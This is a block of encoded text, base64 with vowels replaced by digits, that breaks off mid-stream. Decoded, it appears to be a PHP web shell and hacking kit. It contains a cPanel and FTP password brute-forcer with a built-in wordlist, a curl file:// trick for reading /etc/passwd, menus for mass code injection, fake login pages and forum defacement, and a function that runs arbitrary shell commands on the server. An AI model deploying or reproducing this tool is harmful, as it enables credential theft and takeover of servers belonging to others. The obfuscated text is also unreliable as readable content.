46bTRkZGw1OyBoNTRnaHQ6Njg7IGIycmQ1ci1sNWZ0OjZweCBzMmw0ZCAjaWRpZGlkOyBiMnJkNXItcjRnaHQ6NnB4IHMybDRkICM2YTZhNmE7IGIycmQ1ci1iMnR0Mm06NnB4IHMybDRkICM2YTZhNmE7IGIycmQ1ci10MnA6NnB4IHMybDRkICNpZGlkaWQ7fQ0KYjN0dDJue2IxY2tncjIzbmQtYzJsMnI6ICNlZWVlZWU7IGYybnQtczR6NTogOHB0OyBjMmwycjogI0ZGRkZGRjsgZjJudC1mMW00bHk6IFQxaDJtMTsgYjJyZDVyOiA2IHMybDRkICNlZWVlZWU7fQ0KYjJkeSx0ZCx0aCB7IGYybnQtZjFtNGx5OiB2NXJkMW4xOyBjMmwycjogI2Q5ZDlkOTsgZjJudC1zNHo1OiA2NnB4O31iMmR5IHsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDt9DQoxOjFjdDR2NSB7IDIzdGw0bjU6IG4ybjU7IH0NCjE6ZjJjM3MgeyAtbTJ6LTIzdGw0bjUtc3R5bDU6IG4ybjU7IH0NCnQxYmw1IHsNCiAgYjJyZDVyOiBhcHggZDFzaDVkICNmZmY7DQogIGIxY2tncjIzbmQ6IzAwMDsNCiAgYzJsMnI6ICNmZmY7DQogIGYybnQtdzU0Z2h0OiBiMmxkOw0KICBmMm50LWYxbTRseToiQzJtNGMgUzFucyBNUyI7DQogIH0NCjwvc3R5bDU+DQogIDxzdHlsNSB0eXA1PSd0NXh0L2Nzcyc+DQogIDwhLS0NCiAgICAgICBBOmw0bmsge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6I2NjY2NjYyB9DQogICAgICAgQTp2NHM0dDVkIHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7IGMybDJyOiNjY2NjY2MgfQ0KICAgICAgIDE6aDJ2NXIge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6UjVkfQ0KICAtLT4NCjwvc3R5bDU+DQo8P3BocA0KDQpANG40X3M1dCgnbTVtMnJ5X2w0bTR0JywgNjAwMDAwMDAwMDAwMCk7DQokYzJubjVjdF90NG01MjN0PWk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQokczNibTR0ID0gJF9SRVFVRVNUWydzM2JtNHQnXTsNCiQzczVycyA9ICRfUkVRVUVTVFsnM3M1cnMnXTsNCiRwMXNzID0gJF9SRVFVRVNUWydwMXNzdzJyZHMnXTsNCiR0MXJnNXQgPSAkX1JFUVVFU1RbJ3Qxcmc1dCddOw0KJDJwdDQybiA9ICRfUkVRVUVTVFsnMnB0NDJuJ107DQokdGg1czNuMmZ2biA9ICRfR0VUWyd0aDVzM24yZnZuJ107DQoNCjRmKCR0MXJnNXQgPT0gJycpew0KJHQxcmc1dCA9ICdsMmMxbGgyc3QnOw0KfQ0KPz4NCjw/cGhwDQogcHI0bnQgIjxicj48YnI+PGJyPjxjNW50NXI+PFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jZWVlZWVlIGM1bGxQMWRkNG5nPWkgdzRkdGg9JzcwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I2VlZWVlZSBiMnJkNXI9Nj48dHI+PHRkIHc0ZHRoPSc3MCUnPg0KPGJyPjxiPjxjNW50NXI+DQo8MSBocjVmPSc/YnIzdDUmdGg1czNuMmZ2bj1jcjFjayc+IGJyM3Q1IDwvMT4gLSANCg0KDQo8MSBocjVmPSc/YnIzdDUmdGg1czNuMmZ2bj1sNHN0M3M1cjYnPiBHNXQgM3M1cnMgPC8xPiAtICANCjwxIGhyNWY9Jz9icjN0NSZ0aDVzM24yZnZuPWJ5cDFzcyc+IEJ5cDFzcyA8LzE+IC0gDQo8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF0NCjxicj48YnI+PC9jNW50NXI+PC90ZD48L3RyPjwvdDFibDU+IjsNCiANCg0KNGYoICR0aDVzM24yZnZuID09ICdjcjFjaycpew0KIA0KQDRuNF9zNXQoJ201bTJyeV9sNG00dCcsIDYwMDAwMDAwMDAwMDApOw0KJGMybm41Y3RfdDRtNTIzdD1pOw0KQHM1dF90NG01X2w0bTR0KDApOw0KJHMzYm00dCA9ICRfUkVRVUVTVFsnczNibTR0J107DQokM3M1cnMgPSAkX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcyA9ICRfUkVRVUVTVFsncDFzc3cycmRzJ107DQokdDFyZzV0ID0gJF9SRVFVRVNUWyd0MXJnNXQnXTsNCiQycHQ0Mm4gPSAkX1JFUVVFU1RbJzJwdDQybiddOw0KNGYoJHQxcmc1dCA9PSAnJyl7DQokdDFyZzV0ID0gJ2wyYzFsaDJzdCc7DQp9DQpwcjRudCAiIDxkNHYgMWw0Z249J2M1bnQ1cic+DQoNCjxmMnJtIG01dGgyZD0ncDJzdCcgc3R5bDU9J2IycmQ1cjogNnB4IHMybDRkICMwMDAwMDAnPjxicj48YnI+DQo8VEFCTEUgc3R5bDU9J0JPUkRFUi1DT0xMQVBTRTogYzJsbDFwczUnIGM1bGxTcDFjNG5nPTAgYjJyZDVyQzJsMnJEMXJrPSNlZWVlZWUgYzVsbFAxZGQ0bmc9aSB3NGR0aD0ndTAlJyBiZ0MybDJyPSNvMG8wbzAgYjJyZDVyQzJsMnJMNGdodD0jZWVlZWVlIGIycmQ1cj02Pjx0cj48dGQ+DQoNCjxiPiBUMXJnNXQgIDogPC9mMm50Pjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0MXJnNXQnIHM0ejU9JzZlJyB2MWwzNT0gJHQxcmc1dCBzdHlsNT0nYjJyZDVyOiBmMm50LWYxbTRseTpWNXJkMW4xOyBmMm50LXc1NGdodDpiMmxkOyc+PC9wPjwvZjJudD48L2I+PC9wPg0KPGQ0diAxbDRnbj0nYzVudDVyJz48YnI+DQo8VEFCTEUgc3R5bDU9J0JPUkRFUi1DT0xMQVBTRTogYzJsbDFwczUnIGM1bGxTcDFjNG5nPTAgYjJyZDVyQzJsMnJEMXJrPSNlZWVlZWUgYzVsbFAxZGQ0bmc9aSB3NGR0aD0naTAlJyBiZ0MybDJyPSNvMG8wbzAgYjJyZDVyQzJsMnJMNGdodD0jZWVlZWVlIGIycmQ1cj02Pg0KPHRyPg0KPHRkIDFsNGduPSdjNW50NXInPg0KPGI+VXM1cm4xbTU8L2I+PC90ZD4NCjx0ZD4NCjxwIDFsNGduPSdjNW50NXInPg0KPGI+UDFzc3cycmQ8L2I+PC90ZD4NCjwvdHI+DQo8L3QxYmw1Pg0KDQo8cCAxbDRnbj0nYzVudDVyJz4NCg0KPHQ1eHQxcjUxIHIyd3M9J2EwJyBuMW01PSczczVycycgYzJscz0nYWknIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJz4kM3M1cnM8L3Q1eHQxcjUxPg0KPHQ1eHQxcjUxIHIyd3M9J2EwJyBuMW01PSdwMXNzdzJyZHMnIGMybHM9J2FpJyBzdHlsNT0nYjJyZDVyOiBhcHggczJsNGQgIzZENkQ2RDsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDsgYzJsMnI6I0MwQzBDMCc+NmFvcDFzcw0KcDFzczZhbw0KbTF0a2gxMw0KcDFzczFkbTRuDQpwMXNzdzJyZA0KNmFvdWllDQo2YW91aWU3DQo2YW91aWU3OA0KNmFvdWllNzg5DQo2YW91aWU3ODkwDQo2NjY2NjYNCjAwMDAwMA0KYWFhYWFhDQpvb29vb28NCnV1dXV1dQ0KaWlpaWlpDQplZWVlZWUNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjZhbzZhbw0KYW91YW91DQpvdWlvdWkNCnVpZXVpZQ0KaWU3aWU3DQplNzhlNzgNCjc4OTc4OQ0KNmFvb2E2DQp1aWVlaXUNCmVpdW9hNg0KN2VpdW9hNg0KODdlaXVvYTYNCjk4N2VpdW9hNg0KMDk4N2VpdW9hNg0KMWRtNG42YW8NCjZhbzFkbTRuDQoxZG00bjZhb3VpZQ0KNmFvdWllMWRtNG4NCjZhb3VpaXVvYTYNCjZhb3V1b2E2DQoxYmNkNWYNCjFiYzFiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCjFiYzZhbw0KMW5oeTUzNW0NCjRsMnY1eTIzPC90NXh0MXI1MT48YnI+DQo8YnI+ICAgICAgICAgICAgICAgICAgICAgICAgIA0KPGI+T3B0NDJucyA6IDwvc3Axbj48NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nY3AxbjVsJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIGNoNWNrNWQgdHlwNT0ncjFkNDInPiBjUDFuNWwgDQo8NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nZnRwJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIHR5cDU9J3IxZDQyJz4gZnRwID09PiA8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nYnIzdDUnIG4xbTU9J3MzYm00dCcgPjwvcD4NCjwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj48L2Yycm0+PHAgMWw0Z249ICdsNWZ0Jz4iOw0KPz4NCjw/cGhwDQpmM25jdDQybiBmdHBfY2g1Y2soJGgyc3QsJDNzNXIsJHAxc3MsJHQ0bTUyM3Qpew0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGgyc3QiKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQoNCjVsczU0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSAwICl7DQo0ZiAoJGgyc3QgPT0gJ2wyYzFsaDJzdCcpIHsNCiRsNG5rID0gImZ0cDovLyQzczVyOiRwMXNzQCIuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107DQp9IDVsczUgew0KJGw0bmsgPSAiZnRwOi8vJDNzNXI6JHAxc3NAIi4kaDJzdDsNCn0NCnByNG50ICI8Yj48ZjJudCBjMmwycj1SNWQ+ICQzczVyIDwvZjJudD4gfCA8ZjJudCBjMmwycj1SNWQ+ICRwMXNzIDwvZjJudD4gWyA8MSBocjVmPSckbDRuayc+JGw0bms8LzE+IF08L2I+PGJyPiI7fWMzcmxfY2wyczUoJGNoKTt9DQoNCmYzbmN0NDJuIGNwMW41bF9jaDVjaygkaDJzdCwkM3M1ciwkcDFzcywkdDRtNTIzdCl7DQokY2ggPSBjM3JsXzRuNHQoKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGgyc3Q6YTA4YSIpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCA2KTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkM3M1cjokcDFzcyIpOw0KYzNybF9zNXQycHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHQ0bTUyM3QpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCA2KTsNCiRkMXQxID0gYzNybF81eDVjKCRjaCk7DQo0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSBhOCApIHsgDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQo1bHM1NGYgKCBjM3JsXzVycm4yKCRjaCkgPT0gMCApew0KNGYgKCRoMnN0ID09ICdsMmMxbGgyc3QnKSB7DQokbDRuayA9ICJodHRwOi8vJDNzNXI6JHAxc3NAIi4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4iOmEwOGEiOw0KfSA1bHM1IHsNCiRsNG5rID0gImh0dHA6Ly8kM3M1cjokcDFzc0AiLiRoMnN0LiI6YTA4YSI7DQp9DQpwcjRudCAiPGI+PGYybnQgYzJsMnI9UjVkPiAkM3M1ciA8L2YybnQ+IHwgPGYybnQgYzJsMnI9UjVkPiAkcDFzcyA8L2YybnQ+IFsgPDEgaHI1Zj0nJGw0bmsnPiRsNG5rPC8xPiBdPC9iPjxicj4iO31jM3JsX2NsMnM1KCRjaCk7fQ0KDQo0Zig0c3M1dCgkczNibTR0KSAmJiAhNW1wdHkoJHMzYm00dCkpew0KDQokM3M1cmw0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJDNzNXJzICk7DQokcDFzc2w0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJHAxc3MgKTsNCnByNG50ICI8Yj5bIFN0MXJ0IDogXSMgQXR0MWNrNG5nIC4uLjwvZjJudD48L2I+PGJyPjxicj4iOw0KZjJyNTFjaCAoJDNzNXJsNHN0IDFzICQzczVyKSB7DQokXzNzNXIgPSB0cjRtKCQzczVyKTsNCmYycjUxY2ggKCRwMXNzbDRzdCAxcyAkcDFzc3cycmQgKSB7DQokX3Axc3MgPSB0cjRtKCRwMXNzdzJyZCk7DQo0ZigkMnB0NDJuID09ICJmdHAiKXsNCmZ0cF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQo0ZiAoJDJwdDQybiA9PSAiY3AxbjVsIikNCnsNCmNwMW41bF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQp9DQp9DQpwcjRudCAiPGJyPjxiPlsgTjJ3IDogXSMgRiFuNHNob2QgLi4uPC9mMm50PjwvYj48YnI+IjsNCn0NCjV4NHQoKTsNCn01bHM1NGYgKCAkdGg1czNuMmZ2biA9PSAnbDRzdDNzNXI2Jyl7DQo1Y2gyICI8YnI+PGJyPjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9I2VlZWVlZSBjNWxsUDFkZDRuZz1pIHc0ZHRoPSd1MCUnYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I2VlZWVlZSBiMnJkNXI9Nj48dHI+PHRkPiI7DQo1Y2gyICc8cD48ZjJybSBuMW01PSJmMnJtIiAxY3Q0Mm49IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iZjRsNSIgczR6NT0iaTAiIHYxbDM1PSIvNXRjL3Axc3N3ZCI+PDRucDN0IHR5cDU9InMzYm00dCIgbjFtNT0iaDFyZHN0eWw1eiIgdjFsMzU9ImdyMWIgISI+PC9mMnJtPic7DQokZjRsNSA9ICRfUE9TVFsnZjRsNSddOw0KJGw1djVsPTA7DQo0ZighZjRsNV81eDRzdHMoImY0bDU6IikpDQogICAgQG1rZDRyKCJmNGw1OiIpOw0KQGNoZDRyKCJmNGw1OiIpOw0KJGw1djVsKys7DQoNCiRoMXJkc3R5bDUgPSBANXhwbDJkNSgiLyIsICRmNGw1KTsNCg0KZjJyKCQxPTA7JDE8YzIzbnQoJGgxcmRzdHlsNSk7JDErKyl7DQogICAgNGYoITVtcHR5KCRoMXJkc3R5bDVbJDFdKSl7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkaDFyZHN0eWw1WyQxXSkpIA0KICAgICAgICAgICAgQG1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgICAgICAgQGNoZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgICAgICAgJGw1djVsKys7DQogICAgfQ0KfQ0Kd2g0bDUoJGw1djVsLS0pIGNoZDRyKCIuLiIpOw0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZjRsNTpmNGw1Oi8vLyIuJGY0bDUpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDYpOw0KJHI1czNsdCA9IGMzcmxfNXg1YygkY2gpOw0KNWNoMiAiPHQ1eHQxcjUxIHIyd3M9J28wJyBjMmxzPSc2YTAnIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJyA+IjsNCg0KNGYgKCRyNXMzbHQgPT0gRkFMU0UpIA0KeyBkNDUoIkYxNGw1ZCEiKTsgDQp9IDVsczUgeyANCjRmIChwcjVnX20xdGNoXzFsbCgnLyguKz8pOng6KC4rPykvJywkcjVzM2x0LCQ1eHBsMmQ1KSkgew0KZjJyNTFjaCgkNXhwbDJkNVs2XSAxcyAkM3M1cikgezVjaDIgJDNzNXIuIlxuIjt9DQp9IDVsczUgeyA1Y2gyICRyNXMzbHQ7fQ0KfQ0KNWNoMiAnIDwvdDV4dDFyNTE+IDwvRk9OVD4nOw0KYzNybF9jbDJzNSgkY2gpOw0KcHI0bnQgJzwvdDFibDU+JzsNCjV4NHQoKTsNCn0NCjVsczU0ZiAoICR0aDVzM24yZnZuID09ICdieXAxc3MnKXs1Y2gyICI8YnI+PGJyPjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9IzllZTY2NyBjNWxsUDFkZDRuZz1pIHc0ZHRoPSdpMCUnYmdDMmwycj0jbzBvMG8wIA0KYjJyZDVyQzJsMnJMNGdodD0jOWVlNjY3IGIycmQ1cj02Pjx0cj48dGQ+IjsNCjVjaDIgJzxwPjxmMnJtIG4xbTU9ImYycm0iIDFjdDQybj0iIiBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSJmNGw1IiBzNHo1PSI2MDAiIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDUpLiciPg0KDQo8NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJoMXJkc3R5bDV6IiB2MWwzNT0iZzV0ICEiPjwvZjJybT4nOw0KJGY0bDUgPSAkX1BPU1RbJ2Y0bDUnXTsNCiRsNXY1bD0wOw0KNGYoIWY0bDVfNXg0c3RzKCJmNGw1OiIpKQ0KICAgIEBta2Q0cigiZjRsNToiKTsNCkBjaGQ0cigiZjRsNToiKTsNCiRsNXY1bCsrOw0KDQokaDFyZHN0eWw1ID0gQDV4cGwyZDUoIi8iLCAkZjRsNSk7DQoNCmYycigkMT0wOyQxPGMyM250KCRoMXJkc3R5bDUpOyQxKyspew0KICAgIDRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KICAgICAgICA0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKSANCiAgICAgICAgICAgIEBta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQogICAgICAgIEBjaGQ0cigkaDFyZHN0eWw1WyQxXSk7DQogICAgICAgICRsNXY1bCsrOw0KICAgIH0NCn0NCndoNGw1KCRsNXY1bC0tKSBjaGQ0cigiLi4iKTsNCiRjaCA9IGMzcmxfNG40dCgpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImY0bDU6ZjRsNTovLy8iLiRmNGw1KTsNCjVjaDIgIjx0NXh0MXI1MSByMndzPSdvMCcgYzJscz0nNmEwJyBzdHlsNT0nYjJyZDVyOiBhcHggczJsNGQgIzZENkQ2RDsgYjFja2dyMjNuZC1jMmwycjogIzAwMDAwMDsgYzJsMnI6I0MwQzBDMCcgPiI7DQo0ZihGQUxTRT09YzNybF81eDVjKCRjaCkpDQpkNDUoJ1MycnJ5Li4uIEY0bDUgJy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1KS4nIGQyNXNudCA1eDRzdHMgMnIgeTIzIGQybnQgaDF2NSBwNXJtNHNzNDJucy4nKTsNCjVjaDIgJyA8L3Q1eHQxcjUxPiA8L0ZPTlQ+JzsNCmMzcmxfY2wyczUoJGNoKTsNCnByNG50ICc8L3QxYmw1Pic7fQ0KIDVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7DQo1eDR0KCk7DQoNCn0NCg0KLy9UMjJscyBIMWNrNG5nIFN0MXJ0DQo0Zig0c3M1dCgkX0dFVFsndDIybHMnXSkpIHsNCjRmICgkNG5mMlsnczVjM3I0dHknXSkgNWNoMiAkaDUxZC4iPGIyZHk+TDJnNG4gQXMgKDxmMm50IGMybDJyPScjRkYwMDAwJz4iLiQ0bmYyWyd0NHRsNSddLiI8L2YybnQ+KSA8MSBocjVmPSc/bDJnMjN0PTYnPkwyZzIzdDwvMT48L3A+IjsNCjVsczUgNWNoMiAkaDUxZDsNCjVjaDIgIjxjNW50NXI+PFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jRkZGRkZGIGM1bGxQMWRkNG5nPWkgdzRkdGg9JzcwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9I0ZGRkZGRiBiMnJkNXI9Nj48dHI+PHRkIHc0ZHRoPSc3MCUnPg0KDQo8YnI+PGI+PGM1bnQ1cj4NCjwxIGhyNWY9Jz90MjJscyYxY3Q9NW5jMmQ1cic+IEVuYzJkNXIgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1mc2IzZmYnPiBCM2ZmNXIgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1zNWxmcjVtMnY1Jz4gUzVsZiBSNW0ydjUgPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1tMXNzYnIyd3M1cnNwbDI0dCc+IE0xc3MgQzJkNSBJbmo1Y3Q0Mm4gPC8xPiAtIA0KDQo8MSBocjVmPSc/dDIybHMmMWN0PWYxazVsMmc0bic+IEYxazUgTDJnNG4gPC8xPiAtIA0KPDEgaHI1Zj0nP3QyMmxzJjFjdD1kNWYxYzUnPlZiM2xsNXQ0biBENWYxYzU8LzE+PGJyPjxicj48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT4iOw0KJG5zY2Q0ciA9KCE0c3M1dCgkX1JFUVVFU1RbJ3NjZDRyJ10pKT9nNXRjd2QoKTpjaGQ0cigkX1JFUVVFU1RbJ3NjZDRyJ10pOyRuc2NkNHI9ZzV0Y3dkKCk7DQokc2Y9IjxmMnJtIG01dGgyZD1wMnN0PiI7JDVmPSI8L2Yycm0+IjsNCiRzdD0iPHQxYmw1IHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiIHc0ZHRoPTYwMCUgaDU0Z2h0PTYwMCU+IjsNCiQ1dD0iPC90MWJsNT4iOyRjNj0iPHRyPjx0ZCBoNTRnaHQ9YWElIHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiPiI7DQokY2E9Ijx0cj48dGQgc3R5bDU9XCJiMnJkNXI6NnB4ICNkMWQxZDEgczJsNGQgXCI+IjskNWM9IjwvdHI+PC90ZD4iOw0KJHN0MT0iPHQ1eHQxcjUxIGMybHM9Nmk3IHIyd3M9YW8+IjskNXQxPSI8L3Q1eHQxcjUxPiI7DQokc2ZudD0iPGYybnQgZjFjNT10MWgybTEgczR6NT1hIGMybDJyPSMwMDgwODA+IjskNWZudD0iPC9mMm50PiI7DQo1cnIycl9yNXAycnQ0bmcoMCk7IA0KczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KDQo0Zih2NXJzNDJuX2MybXAxcjUocGhwdjVyczQybigpLCAndS42LjAnKSA9PSAtNikNCiB7JF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOyRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KIH1mM25jdDQybiA0bmNsNG5rKCRsNG5rLCR2MWwpeyRyNXEzPSRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KNGYgKHN0cnN0ciAoJHI1cTMsJGw0bmspKXtyNXQzcm4gcHI1Z19yNXBsMWM1KCIvJGw0bms9W1xcZFxcd1xcV1xcRFxcU10qLyIsIiRsNG5rPSR2MWwiLCRyNXEzKTt9NWxzNTRmIChzdHJzdHIgKCRyNXEzLCJzaDJ3c2MiKSl7cjV0M3JuIHByNWdfcjVwbDFjNSgiL3NoMndzYz1bXFxkXFx3XFxXXFxEXFxTXSovIiwiJGw0bms9JHYxbCIsJHI1cTMpO30NCjVsczU0ZiAoc3Ryc3RyICgkcjVxMywiaGxwIikpe3I1dDNybiBwcjVnX3I1cGwxYzUoIi9obHA9W1xcZFxcd1xcV1xcRFxcU10qLyIsIiRsNG5rPSR2MWwiLCRyNXEzKTt9NWxzNTRmIChzdHJzdHIoJHI1cTMsIj8iKSl7cjV0M3JuICRyNXEzLiImIi4kbDRuay4iPSIuJHYxbDt9DQo1bHM1e3I1dDNybiAkcjVxMy4iPyIuJGw0bmsuIj0iLiR2MWw7fX0NCmYzbmN0NDJuIGQ1bG0oJGQ1bG10eHQpe3ByNG50IjxjNW50NXI+PHQxYmw1IGJnYzJsMnI9YmwxY2sgc3R5bDU9J2IycmQ1cjo2cHggczJsNGQgMmw0djUnIHc0ZHRoPTk5JSBoNTRnaHQ9YSU+IjtwcjRudCI8dHI+PHRkPjxiPjxjNW50NXI+PGYybnQgczR6NT1hIGMybDJyPTJsNHY1PiRkNWxtdHh0PC90ZD48L3RyPjwvdDFibDU+PC9jNW50NXI+Ijt9DQpmM25jdDQybiBjMWxsZjNuY3MoJGNtbmQpezRmIChmM25jdDQybl81eDRzdHMoc2g1bGxfNXg1YykpeyRzY21kPXNoNWxsXzV4NWMoJGNtbmQpOw0KJG5zY21kPWh0bWxzcDVjNDFsY2gxcnMoJHNjbWQpO3ByNG50ICRuc2NtZDt9DQo1bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyhzaDVsbF81eDVjKSl7NXg1YygkY21uZCwkNWNtZCk7DQokNWNtZCA9IGoyNG4oIlxuIiwkNWNtZCk7JG41Y21kPWh0bWxzcDVjNDFsY2gxcnMoJDVjbWQpO3ByNG50ICRuNWNtZDt9DQo1bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyg1eDVjKSl7JHBjbWQgPSBwMnA1bigkY21uZCwiciIpOw0Kd2g0bDUgKCFmNTJmKCRwY21kKSl7ICRyNXMgPSBodG1sc3A1YzQxbGNoMXJzKGZnNXRjKCRwY21kKSk7Ow0KcHI0bnQgJHI1czt9cGNsMnM1KCRwY21kKTt9NWxzNTRmKCFmM25jdDQybl81eDRzdHMocDJwNW4pKXsgDQoyYl9zdDFydCgpO3N5c3Q1bSgkY21uZCk7JHNyNXQgPSAyYl9nNXRfYzJudDVudHMoKTsyYl9jbDUxbigpO3ByNG50IGh0bWxzcDVjNDFsY2gxcnMoJHNyNXQpO301bHM1NGYoIWYzbmN0NDJuXzV4NHN0cyhzeXN0NW0pKXsNCjJiX3N0MXJ0KCk7cDFzc3RocjMoJGNtbmQpOyRwcjV0ID0gMmJfZzV0X2MybnQ1bnRzKCk7MmJfY2w1MW4oKTsNCnByNG50IGh0bWxzcDVjNDFsY2gxcnMoJHByNXQpO319DQpmM25jdDQybiA0bnAzdCgkdHlwNSwkbjFtNSwkdjFsMzUsJHM0ejUpDQp7NGYgKDVtcHR5KCR2MWwzNSkpe3ByNG50ICI8NG5wM3QgdHlwNT0kdHlwNSBuMW01PSRuMW01IHM0ejU9JHM0ejU+Ijt9DQo1bHM1NGYoNW1wdHkoJG4xbTUpJigkczR6NSkpe3ByNG50ICI8NG5w